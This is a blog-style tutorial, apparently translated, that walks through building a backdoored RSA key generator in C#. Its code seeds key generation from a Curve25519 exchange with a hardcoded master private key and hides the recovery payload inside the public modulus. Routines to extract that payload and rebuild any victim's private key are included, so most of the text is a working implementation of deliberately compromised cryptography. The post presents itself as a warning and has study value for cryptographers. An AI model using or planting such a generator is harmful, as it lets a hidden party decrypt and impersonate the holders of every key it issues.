Backdoor in a Public RSA Key

Hello, %username%!

When I saw how it works, say that I was shocked is to say nothing. It’s a pretty simple trick, but after reading this article, you will never look at the RSA as before. This is not a way to hijack RSA, but something that will make your paranoia greatly swell.

So, imagine that you have access to the generator of an RSA key and you want to give someone the opportunity to get the private key without any factorization and other quantum computers. What we need to do?

I’m going to use C#, BouncyCastle and Chaos.NaCl (this library implements Curve25519).

1). PRNG

We need a PRNG which is initialized with a secret value. I’m going to use AES in CTR mode.

using System;
using System.ComponentModel;
using Org.BouncyCastle.Crypto.Engines;
using Org.BouncyCastle.Crypto.Parameters;
using Org.BouncyCastle.Crypto.Prng;
using Org.BouncyCastle.Security;
namespace RsaBackdoor.Backdoor
{
    class SeededGenerator:IRandomGenerator
    {
        private readonly AesFastEngine _engine = new AesFastEngine();
        private readonly byte[] _counter = new byte[16];
        private readonly byte[] _buf = new byte[16];
        private int bufOffset = 0;
        public SeededGenerator(byte[] key)
        {
            _engine.Init(true, new KeyParameter(key));
            MakeBytes();
        }
        private void MakeBytes()
        {
            bufOffset = 0;
            _engine.ProcessBlock(_counter, 0, _buf, 0);
            IncrementCounter();
        }
        public void IncrementCounter()
        {
            for (int i = 0; i < _counter.Length; i++)
            {
                _counter[i]++;
                if (_counter[i] != 0)
                    break;
            }
        }
        public void AddSeedMaterial(byte[] seed)
        {
        }
        public void AddSeedMaterial(long seed)
        {
        }
        public void NextBytes(byte[] bytes)
        {
            NextBytes(bytes, 0, bytes.Length);
        }
        public void NextBytes(byte[] bytes, int start, int len)
        {
            var count = 0;
            while (count < len)
            {
                var amount = Math.Min(_buf.Length - bufOffset, len - count);
                Array.Copy(_buf, bufOffset, bytes, start + count, amount);
                count += amount;
                bufOffset += amount;
                if (bufOffset >= _buf.Length)
                {
                    MakeBytes();
                }
            }
        }
    }
}

2). Let us recall about great Curve25519, namely the fact that any 32-byte sequence is valid for its private key. At the same time, the public key is always 32 bytes also. Let’s pre-generate the master key and assign it to a constant variable:

private const string MY_PRIVATE_STR = "BDB440EBF1A77CFA014A9CD753F3F6335B1BCDD8ABE30049F10C44243BF3B6C8";
private static readonly byte[] MY_PRIVATE = StringToByteArray(MY_PRIVATE_STR);

For each generated RSA key pair we will also generate a random key pair of Curve25519 and then calculate the shared secret from the public key of the pair, and our private key. This secret is the key to PRNG from step 1.

Seed generation for PRNG:

private void MakeSeedAndPayload(out byte[] seed, out byte[] payload)
{
    var rnd = new SecureRandom();
    var priv = new byte[32];
    rnd.NextBytes(priv);
    payload = MontgomeryCurve25519.GetPublicKey(priv);
    seed = MontgomeryCurve25519.KeyExchange(payload, MY_PRIVATE);
}

Curve25519 public key, which we will use to calculate the seed is a payload. We will try to put it into the RSA public key.

3). Generate RSA key pair by using PRNG and our seed.

var publicExponent = new BigInteger("10001", 16);
var keygen = new RsaKeyPairGenerator();
keygen.Init(new RsaKeyGenerationParameters(publicExponent, new SecureRandom(new SeededGenerator(seed)), 2048, 80));
var pair = keygen.GenerateKeyPair();

It’s worth saying that key-based RSA is always two prime numbers p and q. Their product is called «modulus» and is part of the public key. In this case, two 2048 bits numbers are searched with the help of our PRNG and then a single key pair is built from them.

4). Now, replace some bytes from p*q modulus with our payload. It makes sense to replace more significant bytes, so that they are not deleted later. 80 bytes-shifting should be enough.

var paramz = ((RsaPrivateCrtKeyParameters) pair.Private);
var modulus = paramz.Modulus.ToByteArray();
Replace(modulus, payload, 80);

5). We now have a new n’ modulus and need to regenerate the remaining parameters, taking n’ into account:

5.1). Calculate new q’. We have no idea what it’s gonna be like on the current stage, but it’s not terrible:

q' = n' / p 5.2.). Look for a new prime number basing on q’. When we find it, least significant bits will be deleted. But the most significant ones will remain the same. That’s exactly what we need.

var p = paramz.P;
var n = new BigInteger(modulus);
var preQ = n.Divide(p);
var q  = preQ.NextProbablePrime();

Once we have a new q, we calculate all the key-pair parameters, except p, again.

public AsymmetricCipherKeyPair ComposeKeyPair(BigInteger p, BigInteger q, BigInteger publicExponent)
{
    if (p.Max(q).Equals(q))
    {
        var tmp = p;
        p = q;
        q = tmp;
    }
    var modulus = p.Multiply(q);
    var p1 = p.Subtract(BigInteger.One);
    var q1 = q.Subtract(BigInteger.One);
    var phi = p1.Multiply(q1);
    var privateExponent = publicExponent.ModInverse(phi);
    var dP = privateExponent.Remainder(p1);
    var dQ = privateExponent.Remainder(q1);
    var qInv = q.ModInverse(p);
    var priv =  new RsaPrivateCrtKeyParameters(modulus, publicExponent, privateExponent, p, q, dP, dQ, qInv);
    return new AsymmetricCipherKeyPair(new RsaKeyParameters(false, priv.Modulus, publicExponent), priv);
}

As a result, we obtain a valid key pair, which has our payload in its public key — namely, the information on how to get the seed and then private key itself.

We can extract payload:

public byte[] ExtractPayload(RsaKeyParameters pub)
{
    var modulus = pub.Modulus.ToByteArray();
    var payload = new byte[32];
    Array.Copy(modulus, 80, payload, 0, 32);
    return payload;
}

Calculate the seed and do the same process one more time in order to get the private key:

public AsymmetricCipherKeyPair BuildKeyFromPayload(byte[] payload)
{
    var seed = MontgomeryCurve25519.KeyExchange(payload, MY_PRIVATE);
    return BuildKey(seed, payload);
}

Thus, by owning a Curve25519 private key, only we can obtain a private key of any backdoored RSA.

Where it can be applied? Anywhere! You’ll never prove that the key pairs issued to you by banks do not have these type of markings. It’s impossible to prove! So try to generate keys by yourself. Well, and stop using RSA, if possible.

Source code.

Thanks https://gist.github.com/ryancdotorg for the original implementation https://gist.github.com/ryancdotorg/18235723e926be0afbdd.